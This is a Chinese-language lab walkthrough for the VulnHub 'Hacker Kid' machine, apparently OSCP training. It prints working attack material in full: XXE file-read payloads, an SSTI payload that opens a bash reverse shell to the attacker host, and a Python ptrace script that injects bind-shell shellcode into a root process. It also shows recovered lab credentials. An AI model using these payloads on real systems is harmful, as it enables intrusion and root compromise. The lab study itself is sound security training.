靶机介绍

1)靶机地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

2)靶机难度:中

3)打靶目标: 取得 root 权限

4)涉及攻击方法:主机发现、端口扫描、WEB信息收集、DNS区域传输、XXE注入攻击、PHP封装器、SSTI模板注入、Capabilitie提权

5)本次靶机是一个OSCP风格的靶机,OSCP风格的靶机主要目的不是为了获取flag,而是获取root权限(提示:关注信息搜集,不需要蛮力爆破,再每一步都有适当的提示)。本次靶机主要介绍了XXE、SSTI、DNS AXFR等较新的漏洞攻击方法。提权环节,用到了Capabilitie实现提权。

打靶过程

1)主机发现

# arp-scan -l

2)对目标主机进行全端口扫描

3)开放端口的服务版本扫描

​注:Tornado是一个轻量级的python的web框架,注重性能和效率;DNS为域名解析服务,通常上网时,使用的是UDP的53端口,TCP的53端口一般在DNS服务器上也是开放的,但是TCP的53端口一般用于同一个域的两台域名服务器之间做数据同步、数据交换

​DNS的服务端软件BIND 9.16.1存在远程代码执行漏洞(CVE-202–8625、CVE-2021-25261),但是没有找到漏洞利用代码,无法直接通过该漏洞获取到服务器权限

4)针对DNS的UDP53端口进行扫描:扫描发现UDP的53端口也是开放的

# nmap -p53 -sU 192.168.56.114

5)对80端口的web页面进行信息搜集

①直接访问靶机地址,返回如下页面

http://192.168.56.114/

②访问网页第一个链接start,返回404,但是访问index.php,又返回了上面页面,说明网站是通过php开发的,且目标主机存在index.php文件

http://192.168.56.114/index.html                   #返回404http://192.168.56.114/index.php                    #跳转至首页

③访问网页第二个链接App,返现URL变为如下形式,#表示网页中一个标记(通过该标记可以在同一个页面插入标记对应的链接)。把标记删除,直接访问app.html,出现如下页面

http://192.168.56.114/index.php#app.htmlhttp://192.168.56.114/app.html

对上述页面进行简单测试,任何按钮都无任何相应

④访问网页第三个链接Form example ,返回页面如下:该页面也未发现任何漏洞

http://192.168.56.114/form.html

⑤查看页面源代码,发现最下方的注释中,出现了如下提示:页面存在一个参数page_no,通过该参数进行访问

⑥因page_no是一个参数名,通过参数名可猜测参数值有可能为1、2、3等数字,利用Burp进行抓包,然后通过Inturder模块,对参数值进行爆破,发现当page_no=21时,页面返回了不同的信息

http://192.168.56.114/?page_no=1

⑦对页面进行访问,页面如下

​通过提示可知,黑客通过DNS创建了一些子域名,而且通过子域名可以访问到不同的web页面,所以,解析来需要找到这些子域,而且提示信息也给出了一个域名:hackers.blackhat.local

6)通过编辑hosts文件,使其域名得到解析:设置本地域名解析后,通过域名访问,发现获取到的页面和通过IP访问获取到的页面一致

#vi /etc/hosts192.168.56.114  hackers.blackhat.local

8)对目标服务器进行域名查询(dig)

AXFR:向DNS服务器发送一个AXFR的请求,如果这个DNS服务器支持ASFR这个区域传输请求,就会把这台服务器中指定DNS区域的所有DNS记录(包括A记录、CNAME记录)返回,即拿到了这个区域下所有的DNS记录

# dig axfr @192.168.56.114 blackhat.local

因该服务器没有做安全配置,使得该服务器存在一个axfr漏洞,即任何人发送asfr请求时,都会将服务器的DNS记录返回给客户端

9)在本地hosts文件中中添加上图dig解析出的域名和IP对应关系

#vi hosts192.168.56.114  hackers.blackhat.local192.168.56.114  blackhat.local192.168.56.114  hackerkid.blackhat.local192.168.56.114  hacker.blackhat.local.blackhat.local192.168.56.114  www.blackhat.local.192.168.56.114  mail.blackhat.local

①发现通过域名hackerkid.blackhat.local访问出现如下新的页面

1671089701254

②通过IP访问9999端口,显示如下界面:测试发现,通过域名:9999访问,页面全部都是如下页面。因靶机作者提示,暴力破解无效,因此不做对该网页的暴力破解测试,遇到其他靶机出现如下登录页面,可以进行暴力破解测试。

1671089835800

11)通过在如下页面的表单提交相应数据:发现在email处,输入任何格式的内容,都提示输入有误

1671090115195

①表单提交时,通过Burpx抓取对应数据包,如下

1671090275731

②XML数据如下:

1671090302790

根据抓取的数据包显示:所有的数据都是通过XML文档的方式提交,发送到目标服务器,但是邮件位置,无论发送任何数据,都有问题。因数据是通过XML方式提交,所以可以怀疑是否存在XXE漏洞。

补充:

①XXE漏洞介绍:xxe即xml的外部实体攻击,一般针对xxe引用外部实体的场景,该漏洞类型主要针对服务器端接受客户端提交的XML的数据格式,同时服务器端的XML格式的解析器本身存在漏洞或者解析器的规则存在漏洞,导致恶意用户提价的恶意XML请求,发送到服务器,触发了不应该执行的结果。

②XXE漏洞危害:xxe可以导致任意文件读取、可基于XXE攻击结合SSRF、端口扫描、拒绝服务攻击等其他攻击手段

③XML:xml也是一种标记语言,但是xml相比于html语言更加的灵活(因为XML的标记可以是自定义的),通过这种自定义的方式,可以利用XML存储、传输数据,甚至计算机编程语言中基本的数据结构都可以通过XML来进行结构化,表示该种数据结构。有时候XML也会应用在身份认证过程中,传输身份认证信息。xml中的变量名可以通过标签标记

④XXE漏洞存在原理:XML文档可以包含dtd文档结构,dtd主要用于定义XML的文档结构以及其中包含的数据。同时dtd也可以从外部引用或加载外部的资源,如服务器中存放了某个特殊的文件,包含某些机密的信息,如果服务器存在XXE漏洞,那么攻击者可以通过dtd读取机密文件。

⑤XXE漏洞挖掘最典型特征:向服务器提交一个数据,服务器原封不动的将数据返回到了web界面,如果符合该特征,则可进行XXE漏洞的验证(由于之前在email输入的任何内容,最后都会返回的web页面,如果符合该条件,则有理由怀疑此处存在XXE漏洞.)

12)XXE漏洞测试:在xml中插入对其他web资源的引用,并且让web页面,把插入的资源完整的返回。

 <!DOCTYPE foo []>

1671095533262

根据上图显示,确实存在XXE漏洞;并且根据搜索发现,存在一个可以登录的用户saket

12)通过对saket用户家目录下各个文件进行读取,发现.bashrc文件中存在一些系统基础配置之外的内容。直接读取文件时,无法正常读取,可通过PHP封装器的方式(上一次打靶使用过)读取出文件内容

<!DOCTYPE foo []>

1671106466680

13)将读取出的.bashrc文件的base64编码通过Burp的Decode功能,进行还原。通过还原在.bashrc文件中,发现了如下信息,即一个账户名和密码

#Setting Password for running python appusername="admin"password="Saket!#$%@!!"

1671106597003

14)因目标系统未扫描到22端口,所以无法通过该用户名和密码登录至目标服务器。尝试使用该用户名和密码登录其他应用。

①在目标IP:9999的web页面中,也无法通过该用户名和密码进行登录。

1671106867612

②通过观察密码,发现密码中存在字符Saket,且该主机存在一个Saket用户,尝试通过用户Saket和密码Saket!#$%@!!登录上述页面,发现可以正常登录。

1671107085976

1671107101954

14)通过对上述页面的提示,猜测是否存在一个name的参数,进行测试后,发现该页面确实存在一个name参数,但是输入任何的参数值都会原样显示到页面上

http://192.168.56.114:9999/?name=Bob

1671107308163

结合上述页面样式的分析,猜测是否存在模板注入漏洞

补充:SSTI服务器端模板注入

①模板:把最终展示给用户的页面,先做好一些区域的定义,例如某个区域用于显示用户名、某些区域用于显示用户邮箱等。把某个页面的展示,做成一个模板保存下来,接下来就可以在服务器端进行程序开发时,针对不同的用户、用户的邮件地址等信息,取出数据后直接放置在之前模板定义是对应的固定区域上,按照这种方法,不同的用户登录,都按照相同的页面版式,显示各自的用户名、邮件等信息。通过模板的方式,可以极大的降低开发工作。

②一个模板本质是其实就是一个html的页面,在body标签中可以放置模板的占位符(变量),后端数据再传输到占位符的位置,按照固定的样式显示出来。如下模板的占位标识符为{{}}表示,插入指令,使用{% %}占位符。不同的模板语言,占位标识符可能有所不同

            

{{ list_title }}

{{ list_description }}

{% for item in item_list %} {{ item }} {{ if not loop.last }} {% endfor %}

③常见的模板语言有jinjia2、Mako、Django、Twig、smarty等,不同的模板语言,在制定表达式、表示语句的符号等都不一样

④SSTI模板漏洞场景:如果服务端代码是按照如下方式编写,则服务端所有提交的数据,都会拼接在如下包含了模板元素的HTML中,因此可以完成对客户端提交数据的篡改,将其修改成不同程序的代码(类似SQL注入),即服务端对客户端提交的数据没有做任何的过滤,就拼接到了构造出的模板的页面上,如果客户端提交的代码可以生效,则一般都可以获取到反弹shell

from jinjia2 import Templatetmpl = Template("

Hello " + user_input + "

") print(tmpl.render())

15)对本次靶机的web页面测试过程中发现,每当对name参数名赋予不同的参数值的时候,返回的页面样式基本相同,因此可怀疑此处存在SSTI服务器模板注入。

①测试注入,使用如下通杀payload测试是否存在SSTI模板注入(适用于几乎所有的SSTI模板注入漏洞测试)

{{1+adcxyz}}${1+adcxyz}[abcxyz]http://192.168.56.114:9999/?name={{1+adcxyz}}${1+adcxyz}[abcxyz]#解释:abcxyz写任何字符都行,但最好使用无规律的字符组合,保证在目标服务器上没有定义过该函数

当出现报错信息时,则表示存在SSTI模板注入

1671119282807

通过上述返回的结果可知,服务器端使用的是tornado的web开发框架,web程序语言版本为python3.8

②验证SSTI版本注入是否存在(通用)

${7*7},{{7*7}}http://192.168.56.114:9999/?name=${7*7},{{7*7}}

测试发现,前面的一段没有被执行,原样的返回到了页面上,但是之后的7*7被执行

1671119673854

③测试其他数值,表示7*7该数学运算表达式被Python执行了

http://192.168.56.114:9999/?name={{7*7}}

1671119767496

16)构造一段代码,使其在服务器端被执行,反弹回一个shell。通过如下代码课时实现对模板进行注入

{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.56.103/4444 0>&1"')}}

①直接通过上述代码进行测试,发现没有成功反弹shell(该现象为模板注入是经常出现的情况,出现此种现象可以对payload做一些编码转化)

192.168.56.114:9999/?name={% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.56.103/4444 0>&1"')}}

1671120096865

1671120128981

②将payload中的字符转化为对应的ascii码,使用ascii命令,可以查看字符的ascii码

# ascii

1671120287659

编码前:192.168.56.114:9999/?name={% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.56.103/4444 0>&1"')}}编码后:192.168.56.114:9999/?name=192.168.56.114:9999/?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.103%2F4444%200%3E%261%22%27%29%7D%7D

编码后,在kali进行监听,则反弹shell成功,成功突破边界

1671120424363

补充:

①Capabilitie功能介绍:主要用于权限管理,Linux内核2.2版本后引入。常用于把root用户才能执行的特权操作,分成了40多个功能组,每个功能组都能单独进行权限的指派。当用户拥有每一种不同的权限时,如果某个程序被指派了某种特殊权限,即使用户不是root账号、root组成员、没有任何suid、sgid权限,仍然可以执行某些特权操作。

#如下配置方式表示:设置当前账号对/usr/bin/dumpcap程序(tcpdump抓包底层程序)具备cap_net_raw(抓包)、cap_net_admin(管理)的能力setcap cap_net_raw,cap_net_admin /usr/bin/dumpcap#该文档详细的说明了40多种Capabilitie功能组的权限设置,表示的功能https://man7.org/linux/man-pages/man7/capabilities.7.html

②查看系统上所有的应用程序被赋予的Capabilitie权限

saket@ubuntu:~$ getcap -r / 2>/dev/null

17)查找目标靶机中saket用户的所有的应用程序的Capabilitie权限

saket@ubuntu:~$ /sbin/getcap -r / 2>/dev/null/sbin/getcap -r / 2>/dev/null/usr/bin/python2.7 = cap_sys_ptrace+ep/usr/bin/traceroute6.iputils = cap_net_raw+ep/usr/bin/ping = cap_net_raw+ep/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep/usr/bin/mtr-packet = cap_net_raw+ep/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

1671121573129

18)在上述的应用程序Capabilitie权限中,cap_sys_ptrace可以用于提权使用,ptrace具备操作系统进程的动态调试跟踪的能力,而具备该能力的程序,都可以把系统当前运行的应用程序附加到上面,之后针对连接上的程序进行动态调试等。

①在目标靶机上找到以root账号来运行的系统进程,针对这些系统进程,使用python2.7的ptrace权限,把当前用户权限提示至root

saket@ubuntu:~$ ps -aef|grep root 

1671121924578

②下载利用该权限漏洞的python脚本

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c import ctypesimport sysimport struct# Macros defined in # https://code.woboq.org/qt5/include/sys/ptrace.h.htmlPTRACE_POKETEXT   = 4PTRACE_GETREGS    = 12PTRACE_SETREGS    = 13PTRACE_ATTACH     = 16PTRACE_DETACH     = 17# Structure defined in # https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_structclass user_regs_struct(ctypes.Structure):    _fields_ = [        ("r15", ctypes.c_ulonglong),        ("r14", ctypes.c_ulonglong),        ("r13", ctypes.c_ulonglong),        ("r12", ctypes.c_ulonglong),        ("rbp", ctypes.c_ulonglong),        ("rbx", ctypes.c_ulonglong),        ("r11", ctypes.c_ulonglong),        ("r10", ctypes.c_ulonglong),        ("r9", ctypes.c_ulonglong),        ("r8", ctypes.c_ulonglong),        ("rax", ctypes.c_ulonglong),        ("rcx", ctypes.c_ulonglong),        ("rdx", ctypes.c_ulonglong),        ("rsi", ctypes.c_ulonglong),        ("rdi", ctypes.c_ulonglong),        ("orig_rax", ctypes.c_ulonglong),        ("rip", ctypes.c_ulonglong),        ("cs", ctypes.c_ulonglong),        ("eflags", ctypes.c_ulonglong),        ("rsp", ctypes.c_ulonglong),        ("ss", ctypes.c_ulonglong),        ("fs_base", ctypes.c_ulonglong),        ("gs_base", ctypes.c_ulonglong),        ("ds", ctypes.c_ulonglong),        ("es", ctypes.c_ulonglong),        ("fs", ctypes.c_ulonglong),        ("gs", ctypes.c_ulonglong),    ]libc = ctypes.CDLL("libc.so.6")pid=int(sys.argv[1])# Define argument type and respone type.libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]libc.ptrace.restype = ctypes.c_uint64# Attach to the processlibc.ptrace(PTRACE_ATTACH, pid, None, None)registers=user_regs_struct()# Retrieve the value stored in registerslibc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))print("Instruction Pointer: " + hex(registers.rip))print("Injecting Shellcode at: " + hex(registers.rip))# Shell code copied from exploit db.shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"# Inject the shellcode into the running process byte by byte.for i in xrange(0,len(shellcode),4):   # Convert the byte to little endian.  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')  shellcode_byte=int(shellcode_byte_little_endian,16)   # Inject the byte.  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)print("Shellcode Injected!!")# Modify the instuction pointerregisters.rip=registers.rip+2# Set the registerslibc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))print("Final Instruction Pointer: " + hex(registers.rip))# Detach from the process.libc.ptrace(PTRACE_DETACH, pid, None, None)

19)提权

原理:使用python2.7该应用程序的cap_sys_ptrace权限,调用进程注入的脚本inject.py,注入到刚才发现的以root用户运行的系统运行的ID中

inject.py脚本作用:结合cap_sys_ptrace权限,把后门程序注入到以root用户运行的系统进程中,后门注入成功后,会在本地开发一个侦听端口,端口号为5600

①下载漏洞利用代码,并进行利用

$ wget http://192.168.56.103/inject.py$ python2.7 inject.py 890saket@ubuntu:~$ ss -pantu|grep 5600     #查看是否开启了5600端口,开启表示已经注入成功了

1671122856738

②kali主机连接侦听端口,获取到root权限

# nc 192.168.56.114 5600

1671122916827